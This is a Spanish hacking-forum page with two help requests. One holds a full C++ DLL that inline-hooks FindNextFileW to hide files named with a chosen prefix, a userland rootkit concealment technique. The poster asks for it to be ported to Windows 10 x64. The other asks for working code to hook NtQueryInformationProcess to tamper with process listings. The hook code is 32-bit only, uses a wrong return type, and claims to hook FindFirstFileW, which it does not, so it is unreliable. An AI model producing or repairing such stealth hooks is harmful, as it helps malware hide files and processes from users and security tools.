elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


 


Tema destacado: [AIO elhacker.NET 2015] Compilación herramientas análisis y desinfección malware


  Mostrar Temas
Páginas: [1]
1  Programación / Programación C/C++ / [AYUDA] DLL en: 21 Marzo 2017, 19:05
Tengo un problema  la dll no se inyecta lo probable es que sea porque estoy utilizando windows 10 x64 bits , ya que esta dll fue compilada para windows XP, alguien que me pueda echar una mano para pasarla a windows 10 Porfavor.


Código
  1. // ------------------------ DLL API HOOK EN ->  FindNextFileW Y FindFirstFileW ---------------------------
  2.  
  3. #include "stdafx.h"
  4. #include <windows.h>
  5. #include <iostream>
  6.  
  7.  
  8. // DECLARACIONES:
  9. BYTE *BufferFN;                 // Buffer que usaremos para ejecutar el api original FindNextFileW
  10. char Prefijo[] = "Archivo";   // El prefijo que buscaremos para ocultar archivos/carpetas
  11.  
  12.  
  13. // FUNCIONES:
  14. void    Hookear();  // Función que hookeará el api
  15.  
  16.  
  17. // Función que será llamada en vez de FindNextFileW
  18. HANDLE  __stdcall miFindNextFileW(HANDLE hFindFile,LPWIN32_FIND_DATAW lpFindFileData);
  19. // Puntero a función con el cual llamaremos al api FindNextFileW original
  20. HANDLE (__stdcall *pBuffFN) (HANDLE hFindFile, LPWIN32_FIND_DATAW lpFindFileData);
  21.  
  22.  
  23.  
  24.  
  25.  
  26. // FUNCIÓN MAIN
  27. bool WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
  28. {
  29. // Si cargan la DLL hookeamos
  30. if (fdwReason == DLL_PROCESS_ATTACH)
  31. {
  32. Hookear();
  33. }
  34. return TRUE;
  35. }
  36.  
  37.  
  38.  
  39. // FUNCIÓN QUE LLAMARÁ EL PROGRAMA PRINCIPLA CREYENDO QUE ES EL API FINDNEXTFILEW
  40. HANDLE  __stdcall miFindNextFileW(HANDLE hFindFile,LPWIN32_FIND_DATAW lpFindFileData)
  41. {
  42. // Ocultamos los archivos que empiecen por el prefijo indicado
  43.  
  44. HANDLE hand;
  45. char ascStr[611];
  46.  
  47. do
  48. {
  49. hand = pBuffFN(hFindFile,lpFindFileData);
  50. WideCharToMultiByte(CP_ACP, 0, lpFindFileData->cFileName, -1, ascStr, 611, NULL, NULL);
  51.  
  52. }while (strncmp(ascStr,Prefijo,strlen(Prefijo)) == 0 && hand != NULL);
  53.  
  54. return hand;
  55. }
  56.  
  57.  
  58. // FUNCIÓN PARA HOOKEAR FINDNEXTFILEW Y FINDFIRSTFILEW
  59. void Hookear()
  60. {
  61. DWORD ProteVieja;  // Parametro para VirtualProtect
  62. BYTE  *DirFN;      // La dirección en memoria de FindNextFileW
  63. BYTE  *DirYoFN;    // La dirección en memoria de la función que remplaza a FindNextFileW
  64.  
  65. // --> HOOKEAMOS FINDNEXTFILEW (7 bytes)
  66.  
  67. // Obtenemos la dirección en memoria de FindNextFileW.
  68. DirFN=(BYTE *) GetProcAddress(GetModuleHandle("kernel32.dll"), "FindNextFileW");
  69.  
  70. //Reservamos 12 bytes de memoria para nuestro Buffer
  71. //FindNextFileW ocupa 7 bytes en la memoria, y necesitamos 5 más para poner nuestro salto alli estan los 12 bytes :D
  72. BufferFN=(BYTE *) malloc (12);
  73.  
  74. //Le damos todos los permisos a los 12 bytes de nuestro Buffer
  75. VirtualProtect((void *) BufferFN, 12, PAGE_EXECUTE_READWRITE, &ProteVieja);
  76.  
  77. // Copiamos los 7 primeros bytes del api en el buffer
  78. memcpy(BufferFN,DirFN,7);
  79. BufferFN += 7;
  80.  
  81. // En los 5 bytes restantes...
  82. // En el primero introducimos un jmp
  83. *BufferFN=0xE9; //0xE9 es el codigo de operacion del jmp
  84. BufferFN++;
  85.  
  86. // En los otros 4 la distancia del salto
  87. *((signed int *) BufferFN)= DirFN - BufferFN + 3;
  88.  
  89. // Asignamos al puntero, la funcion pBuff del inicio del Buffer para poder ejecutar el api original
  90. pBuffFN = (HANDLE (__stdcall *)(HANDLE,LPWIN32_FIND_DATAW)) (BufferFN-8);
  91.  
  92.  
  93. // Le damos todos los permisos a los 5 primeros bytes de la api original
  94. VirtualProtect((void *) DirFN,5,PAGE_EXECUTE_READWRITE,&ProteVieja);
  95.  
  96. // Cambiamos el tipo a puntero a byte para facilitar el trabajo
  97. DirYoFN=(BYTE *) miFindNextFileW;
  98.  
  99. // En el inicio de la api metemos un jmp para que salte a miFindNextFileW
  100. *DirFN=0xE9;
  101. DirFN++;
  102.  
  103. // Metemos la distancia del salto
  104. *((signed int *) DirFN)=DirYoFN - DirFN - 4;
  105. // Libermos librerias de cache
  106. FlushInstructionCache(GetCurrentProcess(),NULL,NULL);
  107. }
  108.  

2  Programación / Programación C/C++ / AYUDA! API HOOK C++ en: 20 Marzo 2017, 20:09
Hola gracias por entrar ami tema, necesito ayuda para poder enganchar la API NtQueryInformationProcess para listar los procesos , alguien me podria pasar un codigo funcional para poder estudiarlo? , e encontrado codigos pero son muy complejos y dificil de entender y muchos no funcionan , espero que me puedan ayudar, GRACIAS. C++
Páginas: [1]
Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines